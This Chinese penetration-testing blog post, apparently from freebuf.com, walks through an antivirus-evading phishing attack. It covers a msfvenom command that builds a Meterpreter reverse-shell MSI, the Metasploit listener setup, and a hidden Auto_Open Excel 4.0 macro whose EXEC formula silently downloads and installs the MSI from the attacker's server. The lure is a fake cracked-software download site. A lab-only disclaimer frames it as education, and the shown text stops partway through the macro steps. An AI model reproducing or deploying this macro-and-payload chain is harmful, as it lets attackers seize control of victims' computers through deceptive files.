渗透测试之地基钓鱼篇：Excel宏和CHM电子书免杀钓鱼 – 作者:dayuxiyou

系列文章

渗透测试之地基钓鱼篇：thinkphp平台XSS钓鱼

简介

渗透测试-地基篇：

该篇章目的是重新牢固地基，加强每日训练操作的笔记，在记录地基笔记中会有很多跳跃性思维的操作和方式方法，望大家能共同加油学到东西。

请注意：

本文仅用于技术讨论与研究，对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，本站及作者概不负责。

名言：

你对这行的兴趣，决定你在这行的成就！

一、前言

Excel一般指Microsoft Office Excel。这里就不用多说了，它跟office一样都是支持宏的，所以一样存在宏病毒。当我们把恶意的宏代码嵌入Excel中，用户打开Excel文件里的宏就会被触发，然后拿到对方电脑权限，并进行控制。

CHM是已编译的帮助文件，它是微软新一代的帮助文件格式，目前也是比较常见的一种文件了。

CHM的原理是支持Javascript、VBscript、ActiveX、JavaApplet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等，并可以通过URL 与Internet联系在一起，那么这里就可以利用这些支持的形式，在里面注入恶意代码，在恶意代码层面上在做个免杀。

.Chm文件格式是HTML文件格式的扩展，所以接下来演示的是如何利用恶意代码注入html文本中，并创建chm的说明文件，通过上传用户下载后执行，在攻击机上直接控制对方电脑。

二、环境介绍

黑客（攻击者）：

IP：192.168.2.153

系统：kali.2020.4

VPS服务器：

例如搭建了各种破解软件平台，供客户需求下载！

钓鱼地址：http://xxxx.dayuixiyou.cn

办公电脑：

系统：windwos7

IP：192.168.2.144

目前黑客利用kali运行了MyJSRat外壳 ，通过制作Excel宏恶意后门和制作CHM电子文件说明书进行上传，并诱骗安全意识差人员进行需求下载，并获得对方电脑权限的演示过程！！

三、Excel宏躲避杀软检测

演示制作Excel是利用Excel 2016版本进行！

1、制作msi恶意文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.153 lport=6666 -f msi -o dayu.msi

利用msfvenom生成msi恶意后门文件，这里还有很多方法可以生成msi，免杀也可以在这里开始进行！

2、建立监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.2.153

set lport 6666

exploit -j #持续监听

这里创建好监听后，等待被钓鱼到的客户进行反弹shell即可！

3、模拟Vps开启服务

这里就假设kali是公网服务器，开启了apache后，将msi恶意文件上传到服务器….接下来就开始制作分离免杀的Excel恶意宏后门文件，我前面一片XSS文章利用Flash钓鱼也是利用了分离免杀效果，目前还是挺好用的！！最后我还会讲解到一些思路！！继续！！

4、制作Excel宏

首先在windwos环境利用excle2016创建一个.xlsx的文件！可看时间也是最新操作演示的！

创建好后双击打开，并在左下角邮件点击sh…，然后点击插入！

选择MS Excel 4.0宏表….

然后在左上角第一个格子输入：

=EXEC(“msiexec /q /ihttp://192.168.2.153/dayu.msi”) #调用执行服务器上的dayu.msi文件

第二个格子输入：

=HALT()        标识Excel 4.0宏结束，类似C语言return指令

然后将左上角的A1模式手动输入：Auto Open，Enter回车即可！

为了避免对方打开能看到宏文件，以及增强隐蔽性，将宏进行隐藏！

Ctrl+S保存后，出现该提示，按照该提示进行点击否！

来源：freebuf.com 2020-12-24 21:52:06 by: dayuxiyou